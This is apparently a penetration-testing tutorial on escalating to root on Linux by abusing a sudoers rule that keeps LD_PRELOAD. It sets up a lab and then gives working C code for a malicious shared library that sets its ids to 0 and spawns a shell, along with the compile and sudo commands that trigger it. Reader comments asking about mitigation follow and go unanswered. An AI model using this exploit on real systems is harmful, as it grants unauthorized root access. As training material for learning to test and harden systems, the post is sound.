Linux Privilege Escalation using LD_Preload
In this Post, we are going to discuss a new technique of privilege escalation by exploiting an environment variable “LD_Preload” but to practice this you must take some help from our previous article.
Table of contents
- Introduction
- Shared Libraries
- Shared Libraries Names
- LD_Preload
- Lab setup
- Privilege Escalation
Introduction
Shared Libraries
Shared libraries are libraries that are loaded by programs when they start. When a shared library is installed properly, all programs that start afterward automatically use the new shared library.
Shared Libraries Names
Every shared library has a special name called the “soname”. The soname has the prefix “lib”, the name of the library, the phrase `”.so”, followed by a period and a version number.
The dynamic linker can be run either indirectly by running some dynamically linked program or shared object. The programs ld.so and ld-linux.so* find and load the shared objects (shared libraries) needed by a program, prepare the program to run, and then run it. (read from here)
LD_Preload: It is an environment variable that lists shared libraries with functions that override the standard set, just as /etc/ld.so.preload does. These are implemented by the loader /lib/ld-linux.so
For more information read from here.
Lab setup
It is important that logged user must have some sudo rights, therefore, we have given some sudo rights such as /usr/bin/find to be executed by sudo user. But apart from that, there is some Default specification where you can set an environment variable to work as sudo.
To do this follow the below steps:
- Open /etc/sudoers file by typing visudo
- Now give some sudo rights to a user, in our case “raj” will be members of sudoers.
raj ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
- Then add the following as default specification to set the environment for LD_preload.
Defaults env_keep += LD_PRELOAD
Privilege Escalation
To exploit such type of vulnerability we need to compromise victim’s machine at once then move to privilege escalation phase. Suppose you successfully login into victim’s machine through ssh now for post exploitation type sudo -l command to detect it. And notice the highlighted environment variable will work as sudo.
Let’s generate a C-program file inside /tmp directory.
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); }
Then save it as shell.c inside /tmp.
As discussed let’s compile it to generate a shared object with .so extension likewise .dll file in the Windows operating system and hence type following:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles ls -al shell.so sudo LD_PRELOAD=/tmp/shell.so find id whoami
Yuppieeee!!!! We got the ROOT access.
Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here
Nice article, but how are you going to escalate privileges if your methodology requires changing a file (/etc/sudoers) that is only accessible by root?
Changing /etc/sudoers is only required for the lab setup, not for the actual priv esc.
Hi,
Is there any mitigation we can have to avoid priv escalation through this environment variable.
Can I prevent root user to stop shareobject injection/hijacking, if yes then how??